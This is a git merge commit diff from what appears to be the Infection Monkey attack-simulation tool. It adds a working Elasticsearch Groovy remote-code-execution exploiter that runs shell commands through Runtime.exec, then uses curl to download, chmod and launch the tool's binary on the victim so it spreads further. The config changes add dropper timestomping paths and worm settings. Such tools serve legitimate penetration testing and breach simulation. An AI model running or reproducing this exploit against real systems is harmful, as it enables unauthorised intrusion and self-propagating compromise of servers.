Merge remote-tracking branch 'origin/develop' into feature/pass-the-hash

# Conflicts:
#	monkey_island/cc/services/config.py
This commit is contained in:
Itay Mizeretz 2017-09-27 18:42:25 +03:00
commit 48ce135194
8 changed files with 282 additions and 25 deletions

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@ -6,7 +6,7 @@ from abc import ABCMeta
from itertools import product
from exploit import WmiExploiter, Ms08_067_Exploiter, SmbExploiter, RdpExploiter, SSHExploiter, ShellShockExploiter, \
SambaCryExploiter
SambaCryExploiter, ElasticGroovyExploiter
from network import TcpScanner, PingScanner, SMBFinger, SSHFinger, HTTPFinger, MySQLFinger, ElasticFinger
from network.range import FixedRange
@ -102,9 +102,9 @@ class Configuration(object):
###########################
use_file_logging = True
dropper_log_path_windows = os.path.expandvars("%temp%\~df1562.tmp")
dropper_log_path_windows = '%temp%\\~df1562.tmp'
dropper_log_path_linux = '/tmp/user-1562'
monkey_log_path_windows = os.path.expandvars("%temp%\~df1563.tmp")
monkey_log_path_windows = '%temp%\\~df1563.tmp'
monkey_log_path_linux = '/tmp/user-1563'
###########################
@ -113,14 +113,15 @@ class Configuration(object):
dropper_try_move_first = sys.argv[0].endswith(".exe")
dropper_set_date = True
dropper_date_reference_path = r"\windows\system32\kernel32.dll" if sys.platform == "win32" else '/bin/sh'
dropper_date_reference_path_windows = r"%windir%\system32\kernel32.dll"
dropper_date_reference_path_linux = '/bin/sh'
dropper_target_path = r"C:\Windows\monkey.exe"
dropper_target_path_linux = '/tmp/monkey'
###########################
# Kill file
###########################
kill_file_path_windows = os.path.expandvars("%windir%\monkey.not")
kill_file_path_windows = '%windir%\\monkey.not'
kill_file_path_linux = '/var/run/monkey.not'
###########################
@ -145,6 +146,7 @@ class Configuration(object):
finger_classes = [SMBFinger, SSHFinger, PingScanner, HTTPFinger, MySQLFinger, ElasticFinger]
exploiter_classes = [SmbExploiter, WmiExploiter, RdpExploiter, Ms08_067_Exploiter, # Windows exploits
SSHExploiter, ShellShockExploiter, SambaCryExploiter, # Linux
ElasticGroovyExploiter, # multi
]
# how many victims to look for in a single scan iteration

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@ -83,11 +83,15 @@ class MonkeyDrops(object):
return False
if WormConfiguration.dropper_set_date:
if sys.platform == 'win32':
dropper_date_reference_path = os.path.expandvars(WormConfiguration.dropper_date_reference_path_windows)
else:
dropper_date_reference_path = WormConfiguration.dropper_date_reference_path_linux
try:
ref_stat = os.stat(WormConfiguration.dropper_date_reference_path)
ref_stat = os.stat(dropper_date_reference_path)
except:
LOG.warn("Cannot set reference date using '%s', file not found",
WormConfiguration.dropper_date_reference_path)
dropper_date_reference_path)
else:
try:
os.utime(self._config['destination_path'],

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@ -16,7 +16,8 @@
"collect_system_info": true,
"depth": 2,
"dropper_date_reference_path": "/bin/sh",
"dropper_date_reference_path_windows": "%windir%\\system32\\kernel32.dll",
"dropper_date_reference_path_linux": "/bin/sh",
"dropper_log_path_windows": "%temp%\\~df1562.tmp",
"dropper_log_path_linux": "/tmp/user-1562",
"dropper_set_date": true,
@ -33,7 +34,9 @@
"WmiExploiter",
"RdpExploiter",
"Ms08_067_Exploiter",
"ShellShockExploiter"
"ShellShockExploiter",
"ElasticGroovyExploiter",
"SambaCryExploiter",
],
"finger_classes": [
"SSHFinger",

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@ -14,6 +14,7 @@ class HostExploiter(object):
def exploit_host(self, host, depth=-1, src_path=None):
raise NotImplementedError()
from win_ms08_067 import Ms08_067_Exploiter
from wmiexec import WmiExploiter
from smbexec import SmbExploiter
@ -21,3 +22,4 @@ from rdpgrinder import RdpExploiter
from sshexec import SSHExploiter
from shellshock import ShellShockExploiter
from sambacry import SambaCryExploiter
from elasticgroovy import ElasticGroovyExploiter

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@ -0,0 +1,236 @@
"""
Implementation is based on elastic search groovy exploit by metasploit
https://github.com/rapid7/metasploit-framework/blob/12198a088132f047e0a86724bc5ebba92a73ac66/modules/exploits/multi/elasticsearch/search_groovy_script.rb
Max vulnerable elasticsearch version is "1.4.2"
"""
import json
import logging
import requests
from exploit import HostExploiter
from model import MONKEY_ARG
from model.host import VictimHost
from network.elasticfinger import ES_SERVICE, ES_PORT
from tools import get_target_monkey, HTTPTools, build_monkey_commandline
__author__ = 'danielg'
LOG = logging.getLogger(__name__)
class ElasticGroovyExploiter(HostExploiter):
_target_os_type = ['linux', 'windows']
# attack URLs
BASE_URL = 'http://%s:%s/_search?pretty'
MONKEY_RESULT_FIELD = "monkey_result"
GENERIC_QUERY = '''{"size":1, "script_fields":{"%s": {"script": "%%s"}}}''' % MONKEY_RESULT_FIELD
JAVA_IS_VULNERABLE = GENERIC_QUERY % 'java.lang.Math.class.forName(\\"java.lang.Runtime\\")'
JAVA_GET_TMP_DIR = GENERIC_QUERY % 'java.lang.Math.class.forName(\\"java.lang.System\\").getProperty(\\"java.io.tmpdir\\")'
JAVA_GET_OS = GENERIC_QUERY % 'java.lang.Math.class.forName(\\"java.lang.System\\").getProperty(\\"os.name\\")'
JAVA_CMD = GENERIC_QUERY % """java.lang.Math.class.forName(\\"java.lang.Runtime\\").getRuntime().exec(\\"%s\\").getText()"""
JAVA_GET_BIT_LINUX = JAVA_CMD % '/bin/uname -m'
DOWNLOAD_TIMEOUT = 300 # copied from rdpgrinder
def __init__(self):
self._config = __import__('config').WormConfiguration
self.skip_exist = self._config.skip_exploit_if_file_exist
def is_os_supported(self, host):
"""
Checks if the host is vulnerable.
Either using version string or by trying to attack
:param host: VictimHost
:return:
"""
if host.os.get('type') not in self._target_os_type:
return False
if ES_SERVICE not in host.services:
LOG.info("Host: %s doesn't have ES open" % host.ip_addr)
return False
major, minor, build = host.services[ES_SERVICE]['version'].split('.')
if major > 1:
return False
if major == 1 and minor > 4:
return False
if major == 1 and minor == 4 and build > 2:
return False
return self.is_vulnerable(host)
def exploit_host(self, host, depth=-1, src_path=None):
assert isinstance(host, VictimHost)
real_host_os = self.get_host_os(host)
host.os['type'] = str(real_host_os.lower()) # strip unicode characters
if 'linux' in host.os['type']:
return self.exploit_host_linux(host, depth, src_path)
else:
return self.exploit_host_windows(host, depth, src_path)
def exploit_host_windows(self, host, depth=-1, src_path=None):
"""
TODO
Will exploit windows similar to smbexec
:return:
"""
return False
def exploit_host_linux(self, host, depth=-1, src_path=None):
"""
Exploits linux using similar flow to sshexec and shellshock.
Meaning run remote commands to copy files over HTTP
:return:
"""
uname_machine = str(self.get_linux_arch(host))
if len(uname_machine) != 0:
host.os['machine'] = str(uname_machine.lower().strip()) # strip unicode characters
dropper_target_path_linux = self._config.dropper_target_path_linux
if self.skip_exist and (self.check_if_remote_file_exists_linux(host, dropper_target_path_linux)):
LOG.info("Host %s was already infected under the current configuration, done" % host)
return True # return already infected
src_path = src_path or get_target_monkey(host)
if not src_path:
LOG.info("Can't find suitable monkey executable for host %r", host)
return False
if not self.download_file_in_linux(host, src_path, target_path=dropper_target_path_linux):
return False
self.set_file_executable_linux(host, dropper_target_path_linux)
self.run_monkey_linux(host, dropper_target_path_linux, depth)
if not (self.check_if_remote_file_exists_linux(host, self._config.monkey_log_path_linux)):
LOG.info("Log file does not exist, monkey might not have run")
return True
def run_monkey_linux(self, host, dropper_target_path_linux, depth):
"""
Runs the monkey
"""
cmdline = "%s %s" % (dropper_target_path_linux, MONKEY_ARG)
cmdline += build_monkey_commandline(host, depth - 1) + ' & '
self.run_shell_command(host, cmdline)
LOG.info("Executed monkey '%s' on remote victim %r (cmdline=%r)",
self._config.dropper_target_path_linux, host, cmdline)
if not (self.check_if_remote_file_exists_linux(host, self._config.monkey_log_path_linux)):
LOG.info("Log file does not exist, monkey might not have run")
def download_file_in_linux(self, host, src_path, target_path):
"""
Downloads a file in target machine using curl to the given target path
:param host:
:param src_path: File path relative to the monkey
:param target_path: Target path in linux victim
:return: T/F
"""
http_path, http_thread = HTTPTools.create_transfer(host, src_path)
if not http_path:
LOG.debug("Exploiter %s failed, http transfer creation failed." % self.__name__)
return False
download_command = '/usr/bin/curl %s -o %s' % (
http_path, target_path)
self.run_shell_command(host, download_command)
http_thread.join(self.DOWNLOAD_TIMEOUT)
http_thread.stop()
if (http_thread.downloads != 1) or (
'ELF' not in
self.check_if_remote_file_exists_linux(host, target_path)):
LOG.debug("Exploiter %s failed, http download failed." % self.__class__.__name__)
return False
return True
def set_file_executable_linux(self, host, file_path):
"""
Marks the given file as executable using chmod
:return: Nothing
"""
chmod = '/bin/chmod +x %s' % file_path
self.run_shell_command(host, chmod)
LOG.info("Marked file %s on host %s as executable", file_path, host)
def check_if_remote_file_exists_linux(self, host, file_path):
"""
:return:
"""
cmdline = '/usr/bin/head -c 4 %s' % file_path
return self.run_shell_command(host, cmdline)
def run_shell_command(self, host, command):
"""
Runs a single shell command and returns the result.
"""
payload = self.JAVA_CMD % command
result = self.get_command_result(host, payload)
LOG.info("Ran the command %s on host %s", command, payload)
return result
def get_linux_arch(self, host):
"""
Returns host as per uname -m
"""
return self.get_command_result(host, self.JAVA_GET_BIT_LINUX)
def get_host_tempdir(self, host):
"""
Returns where to write our file given our permissions
:return: Temp directory path in target host
"""
return self.get_command_result(host, self.JAVA_GET_TMP_DIR)
def get_host_os(self, host):
"""
:return: target OS
"""
return self.get_command_result(host, self.JAVA_GET_OS)
def is_vulnerable(self, host):
"""
Checks if a given elasticsearch host is vulnerable to the groovy attack
:param host: Host, with an open 9200 port
:return: True/False
"""
result_text = self.get_command_result(host, self.JAVA_IS_VULNERABLE)
return 'java.lang.Runtime' in result_text
def get_command_result(self, host, payload):
"""
Gets the result of an attack payload with a single return value.
:param host: VictimHost configuration
:param payload: Payload that fits the GENERIC_QUERY template.
"""
result = self.attack_query(host, payload)
if not result: # not vulnerable
return False
return result[0]
def attack_query(self, host, payload):
"""
Wraps the requests query and the JSON parsing.
Just reduce opportunity for bugs
:return: List of data fields or None
"""
response = requests.get(self.attack_url(host), data=payload)
result = self.get_results(response)
return result
def attack_url(self, host):
"""
Composes the URL to attack per host IP and port.
:return: Elasticsearch vulnerable URL
"""
return self.BASE_URL % (host.ip_addr, ES_PORT)
def get_results(self, response):
"""
Extracts the result data from our attack
:return: List of data fields or None
"""
try:
json_resp = json.loads(response.text)
return json_resp['hits']['hits'][0]['fields'][self.MONKEY_RESULT_FIELD]
except KeyError:
return None

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@ -280,12 +280,8 @@ class RdpExploiter(HostExploiter):
'monkey_path': self._config.dropper_target_path,
'http_path': http_path, 'parameters': cmdline}
config_users = self._config.exploit_user_list
config_passwords = self._config.exploit_password_list
user_password_pairs = []
for user in config_users:
for password in config_passwords:
user_password_pairs.append((user, password))
user_password_pairs = self._config.get_exploit_user_password_pairs()
if not g_reactor.is_alive():
g_reactor.daemon = True

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@ -68,7 +68,7 @@ def main():
print "Loaded Configuration: %r" % WormConfiguration.as_dict()
# Make sure we're not in a machine that has the kill file
kill_path = WormConfiguration.kill_file_path_windows if sys.platform == "win32" else WormConfiguration.kill_file_path_linux
kill_path = os.path.expandvars(WormConfiguration.kill_file_path_windows) if sys.platform == "win32" else WormConfiguration.kill_file_path_linux
if os.path.exists(kill_path):
print "Kill path found, finished run"
return True

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@ -62,7 +62,14 @@ SCHEMA = {
"SambaCryExploiter"
],
"title": "SambaCryExploiter"
}
},
{
"type": "string",
"enum": [
"ElasticGroovyExploiter"
],
"title": "ElasticGroovyExploiter"
},
]
},
"finger_classes": {
@ -320,7 +327,8 @@ SCHEMA = {
"Ms08_067_Exploiter",
"SSHExploiter",
"ShellShockExploiter",
"SambaCryExploiter"
"SambaCryExploiter",
"ElasticGroovyExploiter"
],
"description": "Determines which classes to use for exploiting"
}
@ -333,7 +341,7 @@ SCHEMA = {
"kill_file_path_windows": {
"title": "Kill file path on Windows",
"type": "string",
"default": "C:\\Windows\\monkey.not",
"default": "%windir%\\monkey.not",
"description": "Path of file which kills monkey if it exists (on Windows)"
},
"kill_file_path_linux": {
@ -354,11 +362,17 @@ SCHEMA = {
"default": True,
"description": "Determines whether the dropper should set the monkey's file date to be the same as another file"
},
"dropper_date_reference_path": {
"title": "Droper date reference path",
"dropper_date_reference_path_windows": {
"title": "Dropper date reference path (Windows)",
"type": "string",
"default": "\\windows\\system32\\kernel32.dll",
"description": "Determines which file the dropper should copy the date from if it's configured to do so (use fullpath)"
"default": "%windir%\\system32\\kernel32.dll",
"description": "Determines which file the dropper should copy the date from if it's configured to do so on Windows (use fullpath)"
},
"dropper_date_reference_path_linux": {
"title": "Dropper date reference path (Linux)",
"type": "string",
"default": "/bin/sh",
"description": "Determines which file the dropper should copy the date from if it's configured to do so on Linux (use fullpath)"
},
"dropper_target_path_linux": {
"title": "Dropper target path on Linux",
@ -393,7 +407,7 @@ SCHEMA = {
"dropper_log_path_windows": {
"title": "Dropper log file path on Windows",
"type": "string",
"default": "C:\\Users\\user\\AppData\\Local\\Temp\\~df1562.tmp",
"default": "%temp%\\~df1562.tmp",
"description": "The fullpath of the dropper log file on Windows"
},
"monkey_log_path_linux": {
@ -405,7 +419,7 @@ SCHEMA = {
"monkey_log_path_windows": {
"title": "Monkey log file path on Windows",
"type": "string",
"default": "C:\\Users\\user\\AppData\\Local\\Temp\\~df1563.tmp",
"default": "%temp%\\~df1563.tmp",
"description": "The fullpath of the monkey log file on Windows"
}
}